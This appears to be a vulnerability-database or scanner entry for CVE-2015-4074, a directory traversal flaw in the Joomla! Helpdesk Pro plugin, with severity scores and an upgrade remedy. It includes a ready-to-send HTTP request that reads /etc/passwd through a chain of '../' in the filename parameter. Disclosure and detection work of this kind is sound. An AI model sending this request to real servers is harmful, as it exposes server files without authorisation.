| Title | Joomla! Helpdesk Pro plugin <1.4.0 - Local File Inclusion |
|---|---|
| Author | 0x_Akoko |
| Severity | High |
| Impact | An attacker can exploit this vulnerability to read sensitive files on the server. |
| Remediation | Upgrade to Joomla! Helpdesk Pro plugin version 1.4.0 or later to fix the local file inclusion vulnerability. |
| CVSS Score | 7.5 |
| EPSS Score | 0.8582 |
| CVE ID | CVE-2015-4074 |
| CWE ID | CWE-22 |
| Tags | cve2015 cve lfi packetstorm edb joomla plugin helpdesk_pro_project joomla\! xss vkev vuln |
Directory traversal vulnerability in the Helpdesk Pro plugin before 1.4.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the filename parameter in a ticket.download_attachment task.
GET /?option=com_helpdeskpro&task=ticket.download_attachment&filename=/../../../../../../../../../../../../etc/passwd&original_filename=AnyFileName.exe HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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